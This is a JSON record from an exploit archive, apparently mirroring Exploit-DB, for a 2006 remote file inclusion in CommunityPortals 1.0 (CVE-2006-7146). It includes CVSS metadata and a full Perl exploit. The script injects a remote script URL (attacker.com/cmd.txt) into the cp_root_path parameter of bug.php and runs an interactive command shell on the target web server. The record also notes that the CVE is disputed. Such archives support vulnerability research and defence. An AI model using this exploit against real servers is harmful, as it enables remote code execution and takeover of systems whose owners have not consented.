{"exploit":{"id":"EDB-28786","name":"CommunityPortals 1.0 - 'bug.php' Remote File Inclusion (RFI)","description":"CommunityPortals 1.0 - 'bug.php' Remote File Inclusion (RFI)","cves":["CVE-2006-7146"],"author":"Nima Salehi","published":"2006-10-11","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28786","path":"exploits/php/webapps/28786.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28786.pl","vulnerabilities":[{"id":"CVE-2006-7146","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in bug.php in Leicestershire communityPortals 1.0 build 20051018 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the cp_root_path parameter, a different vector than CVE-2006-5280. NOTE: CVE disputes this issue, since bug.php is not in communityPortals source distributions","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-7146","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-7146"},"updatedAt":"2024-08-07T20:50:06.201Z","retrievedAt":"2026-11-26T23:07:05.034Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28786.png?v=2","url":"https://exploitbin.com/exploits/EDB-28786","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28786/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28786/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2006/https://www.securityfocus.com/bid/20466/info\n\nCommunityPortals is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.\n\nAn attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\n\nCommunityPortals 1.0 Build 12-31-18 and prior versions are affected by this issue.\n\n#!/usr/bin/perl\n\n#################################################################\n#                                                               #\n#            CommunityPortals Build 12-31-18                    #\n#                                                               #\n# Class:     Remote File Include Vulnerability                  #\n#                                                               #\n# Patch:     unavailable                                        #\n#                                                               #\n# Date:      2006/10/11                                         #\n#                                                               #\n# Remote:    Yes                                                #\n#                                                               #\n# Type:      high                                               #\n#                                                               #\n# Site:      http://www.leicestershirecommunity.com             #\n#                                                               #\n#################################################################\n\n\nuse IO::Socket;\nuse LWP::Simple;\n\n$cmdshell=\"http://attacker.com/cmd.txt\";   # <====== Change This Line With Your Personal Script\n\nprint \"\\n\";\nprint \"#################################################################\\n\";\nprint \"#                                                               #\\n\";\nprint \"# CommunityPortals <= 1.0   Remote File Include Vulnerability   #\\n\";\nprint \"# Bug found By : Ashiyane Corporation                           #\\n\";\nprint \"# Email: Nima Salehi    nima[at]ashiyane.ir                     #\\n\";\nprint \"# Web Site : www.Ashiyane.ir                                    #\\n\";\nprint \"#                                                               #\\n\";\nprint \"#################################################################\\n\";\n\n\nif (@ARGV < 2)\n{\n    print \"\\n Usage: Ashiyane.pl [host] [path] \";\n    print \"\\n EX : Ashiyane.pl www.victim.com /CommunityPortals/  \\n\\n\";\nexit;\n}\n\n\n$host=$ARGV[0];\n$path=$ARGV[1];\n\nprint \"Type Your Commands ( uname -a )\\n\";\nprint \"For Exiit Type END\\n\";\n\nprint \"<Shell> \";$cmd = <STDIN>;\n\nwhile($cmd !~ \"END\") {\n    $socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"$host\", PeerPort=>\"80\") or die \"Could not connect to\nhost.\\n\\n\";\n\n    print $socket \"GET \".$path.\"/bug.php?cp_root_path=\".$cmdshell.\"?cmd=\".$cmd.\"? HTTP/1.1\\r\\n\";\n    print $socket \"Host: \".$host.\"\\r\\n\";\n    print $socket \"Accept: */*\\r\\n\";\n    print $socket \"Connection: close\\r\\n\\n\";\n\n    while ($raspuns = <$socket>)\n    {\n        print $raspuns;\n    }\n\n    print \"<Shell> \";\n    $cmd = <STDIN>;\n}","sha256":"a0083639a01946e89c6240395ec927086fd2e995205fb7414af03ac7cc8534a3","bytes":3212,"fetchedAt":"2026-11-26T23:07:03.310Z","encoding":"utf-8 (display only; download retains original bytes)"}